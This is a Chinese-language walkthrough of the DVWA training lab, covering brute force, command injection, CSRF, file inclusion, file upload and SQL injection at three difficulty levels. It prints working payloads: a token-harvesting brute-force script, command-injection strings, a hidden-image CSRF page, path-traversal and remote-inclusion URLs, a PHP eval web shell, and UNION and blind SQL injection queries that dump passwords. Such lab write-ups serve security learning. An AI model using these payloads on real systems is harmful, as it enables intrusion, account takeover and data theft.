DVWA——闯关记录
Brute force(暴力破解)
low
查看源代码可以看到,仅仅验证了是否设置了login参数,对username和password没有任何过滤
///部分源代码///
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
可以采用burp抓包,暴力破解,也可以手动注入
username:admin' or 1='1
password:
medium
Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,',",x1a)进行转义,基本上能够抵御sql注入攻击
sql注入不再有效,但是采用burp爆破依然也可以成功
high
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。
因为加入了token。不再使用burp爆破,参考脚本如下
from bs4 import BeautifulSoup
import requests
import re
requrl = "http://49.235.230.115:13001/vulnerabilities/brute/"
def get_token(requrl):
cookies = {'Cookie': 'security=high; PHPSESSID=eoeqii4vtg3kjv86i5fc1k97s4'}
req = requests.post(url=requrl, cookies=cookies)
response = req.text
bs = BeautifulSoup(response, "html.parser")
user_token = bs.find_all(re.compile("input"))[3]
m=str(user_token).split()[3]
m=m.split('\"')[1]
print(m)
user_token=m;
return user_token
try:
user_token = get_token(requrl)
for passwd in open("password.txt"):
requrl = "http://49.235.230.115:13001/vulnerabilities/brute/" + "?username=admin&password=" + passwd.strip() + "&Login=Login&user_token=" + user_token
user_token = get_token(requrl)
except Exception as e:
print(e)
利用burp检测情况即可,长度不同的请求便可以得知就是正确的密码
Command injection(命令注入)
low
查看源代码可以看见,程序判断操作系统类型,并执行对应的ping命令
///相关函数介绍 ///
stristr(string,search,before_search)
stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为"false" ,如果设置为 "true",函数将返回 search 参数第一次出现之前的字符串部分。
php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。
可以看见,程序并未对'ip'进行任何的过滤
Windows和Linux都可以使用&&执行多条命令
这里需要注意的是”&&”与” &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
可以输入以下命令
ip:127.0.0.1&&net user
net user 查看与账户有关的信息(新建账户、删除账户、查看特定账户、激活账户、账户禁用),为克隆账户提供前提,键入不带参数的命令可以查看所有用户包括已经禁用的
medium
查看源代码,可以看到对IP参数进行了一定的过滤,即将
&& 和 ; 删除
本质上和low等级没区别
high
查看源代码可以看见几乎过滤了所有非法字符
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。
Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
CSRF(跨站请求伪造)
low
关键:利用受害者的cookie向服务器发送伪造请求,不同浏览器cookie不一样
1、利用引诱受害者点击网页链接达到目的
http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
可以看见这个链接过于明显,并且受害者看见这个页面就知道自己密码被篡改了
但是,当服务器域名不是IP时可以生成相应的短链接,但是修改之后依然可以看见密码被修改的界面
2、构造攻击页面
事先在公网上上传一个攻击页面,诱骗受害者去访问
本地测试代码如下
<!DOCTYPE html>
<html lang="en">
<head>
<title>404</title>
</head>
<body>
<img src="http://49.235.230.115:13001/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#"
border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found<h2>
</body>
</html>
受害者点击这个页面之后,密码就被篡改了
medium
查看网页源代码,可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是49.235.230.115)
相关函数:
int eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),返回布尔值
过滤规则是http包头的Referer参数的值中必须包含主机名,因此只需要将攻击页面命名为
49.235.230.115.html
即可
high
查看源代码,可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
可以去构造一个界面,放在攻击者的额服务器,然后吸引受害者去点击。攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。但是这里涉及了跨域,现在的浏览器使不允许跨域的。
因此,只能将页面部署在受害者的服务器上面
下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
这里的name参数存在XSS漏洞,注入代码如下
Name:<iframe src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)
成功弹出弹窗
File inclusion(文件包含)
文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
查看源代码,可以看见,源代码对于page 参数没有进行任何的过滤。因此有以下两种方式对漏洞进行利用
1、本地文件包含
构造url
http://49.235.230.115:13001/vulnerabilities/fi/?page=../../../etc/passwd #Linux下查看服务器根目录,也可以使用/etc/shadow,但是可能会因为没有权限读取失败
2、远程文件包含
在远程服务器上放一个phpinfo.php文件
其内容是
<?php
phpinfo();
?>
如图所示,随后构造url
http://49.235.230.115:13001/vulnerabilities/fi/?page=http://47.94.132.67/phpinfo.php
成功获取服务器信息
medium
查看源代码可以看见
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..\""),"",$file);
代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
因为只替换../和..\,因此可以将命令改为
http://49.235.230.115:13001/vulnerabilities/fi/?page=..././..././..././etc/passwd
读取成功
远程文件包含也可用双写绕过
http://49.235.230.115:13001/vulnerabilities/fi/?page=hthttp://tp://47.94.132.67/phpinfo.php
读取成功
high
查看源代码可以看到
//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php")
代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。对此,我们可以利用file协议构造url,但是首先要获取文件的绝对路径
http://49.235.230.115:13001/vulnerabilities/fi/?page=file:///C:/phpstudy/php/php-5.4.45/php.ini
File upload(文件上传)
low
查看源代码
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
可以看见,源代码对于上传的文件没有进行任何过滤
basename(path,suffix)
函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。
上传文件hack.php(一句话木马)
<?php
@eval($_POST['eee']);
?>
可以看见已经成功上传,随后使用菜刀链接
可以知道文件所在位置
http://49.235.230.115:13001/hackable/uploads/hack.php
利用菜刀链接,如图
medium
查看源代码,限制了上传文件类型必须是jpeg或者png,且大小不超过100000B
首先一句话木马文件phpinfo.php将其后缀修改为png,随后抓包,修改文件名称为phpinfo.php
此处文件名修改为phpinfo.php,成功上传,之后利用菜刀连接即可
high
查看源代码,可以看见
strrpos(string,find,start)
函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
在这里可以利用copy将一句话木马与图片结合
打开图片文件,可以看见一句话木马被加载了文件最后
随后,可以看见上传成功
利用菜刀连接即可
Sql injection(sql注入)
low
查看源代码,可以看见对输入的id没有任何的过滤,且参数是以单引号闭合
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
构造语句
1' or '1'=1 #
成功
medium
查看源代码可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号
\x00,\n,\r,,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
但是依旧可以通过抓包修改参数
首先抓包修改参数id为
1' or 1=1#
报错,之后修改参数为
1 or 1=1#
查询成功,说明存在字符型注入,此时函数mysql_real_escape_string并未起作用
之后依次修改参数
1 union select 1,2# 确定字段显示顺序
1 union select 1,database() # 查询数据库名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查询表名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # 将**'user'**修改为**0x7573657273**,避免被函数转义,查询字段名
high
查看源代码,很明显只是添加了Limit 1,其余和low级别没有说明区别,可以将Limit 1注释掉即可
输入代码:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
可以看见输出目标结果
Sql injection(blind)(SQL盲注)
low
可知,一共有两种结果
User ID exists in the database.
User ID is MISSING from the database.
可以采用两种方法
1、基于布尔类型的盲注
输入1’ and length(database())=1 #,显示不存在;
输入1’ and length(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:
随后使用二分法猜数据库名,之后猜表的数量
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
后续不再一一赘述
2、基于时间的盲注
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 明显延迟
方法和上面的类似
medium
查看源代码可以看见,Medium级别的代码利用mysql_real_escape_string函数对特殊符号
\x00,\n,\r,,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
同样的,利用抓包修改参数即可达到目的,参数内容和low等级一样,不再赘述
high
查看源代码,可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了limit,但是我们可以将其注释掉
抓包然后修改id参数
后续步骤和medium类似,不再赘述